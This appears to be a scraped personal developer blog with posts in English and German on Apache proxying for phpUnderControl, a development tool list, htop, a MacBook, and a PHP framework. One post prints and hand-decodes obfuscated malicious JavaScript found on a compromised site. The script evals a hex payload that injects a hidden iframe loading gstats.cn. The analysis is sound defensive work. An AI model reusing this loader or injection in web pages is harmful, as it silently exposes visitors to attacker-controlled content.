After installing phpUnderControl I wanted to use my existing apache, running with ssl, to proxy requests to the “java stuff”. After failing with various mod_proxy reverse proxying attempts I learned how to use mod_rewrite for this purpose.
ProxyPreserveHost on
RewriteEngine on
RequestHeader Set Proxy-keysize 512
RequestHeader Set Proxy-ip %{REMOTE_ADDR}e
RequestHeader Set Host example.org:443
RewriteRule ^/$ /cruisecontrol/ [R,L]
RewriteRule ^/cruisecontrol$ /cruisecontrol/ [R,L]
RewriteRule ^/cruisecontrol/(.*) http://localhost:8080/cruisecontrol/$1 [P,L]
RewriteRule ^/dashboard$ /dashboard/ [R,L]
RewriteRule ^/dashboard/(.*) http://localhost:8080/dashboard/$1 [P,L]
Unfortunately, phpUnderControl didn’t get the baseURL right with this setup. I didn’t want to dive into mod_jk yet, which I had read should also work (or be the more clean/generic solution), so i poked at the phpUnderControl code with grep. And now it just works fine.
You have to edit the files error.jsp, index.jsp, main.jsp and old_index.jsp in /opt/cruisecontrol/webapps/cruisecontrol/: Just place your https-url in the baseURL strings (https://example.org/cruisecontrol/).
The CruiseControl dashboard (/dashboard) does not need any tweaking for https.
One could even add any apache authentication module in front of phpUnderControl now
Do you use HTTP Authentication anywhere in your webapplication? Today I discovered something that could also be useful for you.
The plusserver member control panel uses HTTP Authentication, and the errorpage replacement for the HTTP 401 authentication failed page (press cancel on the login) is replaced with a simple form with two elements: username and a button “receive lost password”.
This is the most useful errorpage-replacement i have ever seen yet
You could also add a link to a faq for common questions/problems there.
Today i’d like to share my very own LAMP (Linux Apache Mysql PHP) development tool list for windows.
I don’t really care if it is Windows XP 32 or Vista 64, if the system supports all the hardware my workstation has (i.e. more than 4gb ram -> Vista 64).
Tier one tools (misc dev tools):
- Mozilla Firefox – browser
- Firebug – developer plugin: “Firebug integrates with Firefox to put a wealth of web development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.”
- Firephp – Firebug extension: “FirePHP enables you to log to your Firebug Console using a simple PHP method call. All data is sent via response headers and will not interfere with the content on your page. FirePHP is ideally suited for AJAX development where clean JSON and XML responses are required.”
- Yslow – Firebug extension “performance”: “YSlow analyzes web pages and why they’re slow based on Yahoo!’s rules for high performance web sites.”
- Selenium IDE – developer plugin “test automation”: “Selenium IDE is an integrated development environment for Selenium tests. It is implemented as a Firefox extension, and allows you to record, edit, and debug tests. Selenium IDE includes the entire Selenium Core, allowing you to easily and quickly…”
- Firegestures – usability plugin: “A customizable mouse gestures extension which enables you to execute various commands and user scripts with five types of gestures.”
- Scite – lightweight, extremely fast text editor, including syntax highlighting, folding, tabbed interface
- Zend Studio/Eclipse (main IDE) – full featured IDE
- PDT – PHP Development Tools
- Mylyn – task & planning tools, issue/bug tracker integration
- Subversive – subversion plugin
- PuTTY – ssh/telnet tool: “PuTTY is a free implementation of Telnet and SSH for Win32 and Unix platforms, along with an
xterm terminal emulator.”
- WinSCP – sftp/scp tool: “WinSCP is an open source free SFTP client and FTP client for Windows. Legacy SCP protocol is also supported. Its main function is safe copying of files between a local and a remote computer.”
- Total Commander – file manager, ftp tool, two file windows
- WinRAR – archiver for rar/zip/tar/gz/…
- TrueCrypt – highly secure, portable data storage: “Free open-source disk encryption software for Windows Vista/XP, Mac OS X, and Linux”
- TortoiseSVN – subversion client: “A Subversion client, implemented as a windows shell extension.”
- VMware Workstation – virtual machines
- LAMP vm
- Xdebug – debug helpers: “The Xdebug extension helps you debugging your script by providing a lot of valuable debug information.”
- phpMyAdmin – web-based database administration: “phpMyAdmin is a free software tool written in PHP intended to handle the administration of MySQL over the World Wide Web. phpMyAdmin supports a wide range of operations with MySQL. The most frequently used operations are supported by the user interface (managing databases, tables, fields, relations, indexes, users, permissions, etc), while you still have the ability to directly execute any SQL statement.”
Tier two tools (specific dev tools):
Tier three tools (communication/support):
- Microsoft Outlook (if Exchange is available) – emails, calendar
- Mozilla Thunderbird – emails, calendar
- UltraVNC – remote desktop, direct connection
- TeamViewer – remote desktop through firewalls, easy and fast setup – very good for helping “not so experienced” users
- Miranda IM – lightweight IM client (icq, aim, msn, jabber, …)
- mIRC – “the” IRC client
- Skype – voice chat
Tier four tools (music/media)
Windows Settings:
- fixed taskbar with quicklaunch (icons have always the same order), visible time and no “hide unused icons” stuff
Today a friend of mine sent me a link to a blog, at which my virus-scanner went havoc. HTML/Crypt.Gen Stuff, Trojan warning, etc.
After getting the scanner to really let me see the source (…), i found this:
<script language="JavaScript" type="text/javascript">
B46F5DF="pars";B46F5DF+="eInt";D8FA33DFE494F="Stri";D8FA33DFE494F+="ng";D8FA33DFE494F+=".fr";D8FA33DFE494F+="om";D8FA33DFE494F+="CharCode";function A2E39329F3265(B5A87C40BB26CEA){var E46F3EB4=525;E46F3EB4=E46F3EB4-509;BD0AB=eval(B46F5DF+"(B5A87C40BB26CEA,E46F3EB4)");return(BD0AB);}function AFE763E61CEF(C4D8544E71077){var C58BCCF5D58E99C=982;C58BCCF5D58E99C=C58BCCF5D58E99C-980;var A04698CEC="";for(B3CA4BA50C=0;B3CA4BA50C<C4D8544E71077.length;B3CA4BA50C+=C58BCCF5D58E99C){A04698CEC+=( eval(D8FA33DFE494F+"(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))"));}eval(A04698CEC);}AFE763E61CEF("69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
</script>
I now was eager to find out what this does, so i started to de-obfuscate this by hand:
1. Adding linebreaks:
B46F5DF="pars";
B46F5DF+="eInt";
D8FA33DFE494F="Stri";
D8FA33DFE494F+="ng";
D8FA33DFE494F+=".fr";
D8FA33DFE494F+="om";
D8FA33DFE494F+="CharCode";
function A2E39329F3265(B5A87C40BB26CEA){
var E46F3EB4=525;
E46F3EB4=E46F3EB4-509;
BD0AB=eval(B46F5DF+"(B5A87C40BB26CEA,E46F3EB4)");
return(BD0AB);
}
function AFE763E61CEF(C4D8544E71077){
var C58BCCF5D58E99C=982;
C58BCCF5D58E99C=C58BCCF5D58E99C-980;
var A04698CEC="";
for(B3CA4BA50C=0;B3CA4BA50C<C4D8544E71077.length;B3CA4BA50C+=C58BCCF5D58E99C){
A04698CEC+=( eval(D8FA33DFE494F+"(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))"));
}
eval(A04698CEC);
}
AFE763E61CEF("69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
2. Renaming the stuff, removing obfuscation:
function hex2dec(param1){
BD0AB=parseInt(param1,16);
return(BD0AB);
}
function decodeAndEval(param1){
var buffer="";
for(i=0;i<param1.length;i+=2){
buffer+=( String.fromCharCode(hex2dec(param1.substr(i,2))) );
}
eval(buffer);
}
decodeAndEval("69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
3. Echoing the decoded string:
if (document.cookie.search("rtnxw=7") == -1) {
rjpat=document.getElementById('qtit');if(rjpat==null){document.write('<iframe id=qtit src=http://gstats.cn style=display:none></iframe>');}
document.cookie = "rtnxw=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}
So this small JavaScript opens an Iframe to some chinese website, which is right now marked as offensive in my firefox. I like small riddles in the morning
Heute bin ich über das Tool htop gestoßen. Das normale top von Linux ist ja schon eine feine Sache, aber ich muss zugeben, htop ist da doch um längen besser. Bei Debian-Systemen oder entsprechenden Derivaten (z.B. Ubuntu), einfach
$ sudo apt-get install htop
ausführen, danach kann man htop sofort verwenden.
Gestern kam mein MacBook (13.3″, 2×2.0GHz, 4GB RAM, 320GB HDD) an, und ich habe mich direkt mal eingearbeitet. Ich bin positiv überrascht. Auch wenn MacOS X einen Anfangs etwas “abschreckt” – als verwöhnter Windows-User – fällt der Umstieg nach kurzer Einarbeitungszeit doch relativ leicht. Mein größtes Problem bisher ist die Notebook-Tastatur und die Tastaturkürzel und MacOS X – durch die ausführliche Hilfe sollte dies aber auch bald gegessen sein.
Arbeiten klappt auch wunderbar, alle benötigten Programme sind verfügbar und durch den Umstieg auf OpenSource Software zur Entwicklung vor ein paar Jahren habe ich auch alles zur Verfügung was ich brauche: VirtualBox, Eclipse, TextMate (eine kleine Ausnahme), Firefox, Thunderbird, OpenOffice.org, Dropbox – ein Terminal bringt MacOS X ja schon mit, PuTTY entfällt also
Für den privaten Gebrauch kann ich weiterhin iTunes und Last.fm für meine Musik nutzen (PS: beim Umstieg auf neue Computer werden die iPhones/iPods beim synchronisieren zurückgesetzt), für MSN und ICQ habe ich ProteusX gefunden. World of Warcraft funktioniert zum Glück nativ und läuft flüssig, Steam konnte ich über CrossOver installieren, auch hier funktioniert alles einwandfrei (Team Fortress 2, Left 4 Dead).
Eine Hürde bleibt derzeit jedoch noch: CrossOver und Outlook 2007. Bisher ist es mir leider nicht gelungen, die beiden Applikationen miteinander zu verheiraten. Hat jemand eventuell ein paar gute Tipps?
Ich hoffe mein erster Eindruck setzt sich fort, denn bisher gefällt mir das MacBook wirklich gut. Die Performance ist durchweg zufriedenstellend, keine Ruckler oder längeren Wartezeiten. Die Investition scheint sich gelohnt zu haben.
Vor einigen Tagen hat mich die Antwort von Kinesis erreicht, mit der Info dass sowohl eine deutsche Version der Tastatur verfügbar ist (wenn auch nicht auf der Webseite gelistet), als auch nach Deutschland geliefert wird.
Hier das Layout, wobei ich grundsätzlich das “ü” erstmal an die normale Position bringen würde (siehe Bild):

Naja, bleibt noch der hohe Preis… vielleicht legt mir das Teil ja jemand unter den Weihnachtsbaum
Ich habe gestern mal einen Mirror für symfony auf Github eingerichtet.
Momentan wird er täglich per Hand synchronisiert, am Wochenende werde ich mal einen viertelstündigen CronJob auf meinem Server dafür einrichten.
Heute ging mir doch glatt der Speicher auf meiner Wubi-Partition aus. Eine kurze Suche im Internet empfahl mir LVPM. Der Trick an der ganzen Sache ist, dass das Image nicht vergrößert wird, sondern einfach ein neues Image mit gewünschter Größe angelegt und formatiert wird. Anschließend kopiert LVPM einfach alle Dateien vom alten zum neuen Image. Danach noch kurz ins Windows booten und die Images austauschen, fertig. Großes Tennis!
Die Tage war es endlich so weit: nach zweimaliger und von vorne beginnender Programmierung habe ich den Prototypen meines PHP5 MVC Micro-Frameworks bei Github online gestellt – entropy project. Der Projekt-Name selbst lag mir schon seit Jahren auf der Zunge, es fehlte nur ein passendes Projekt.
[Read more]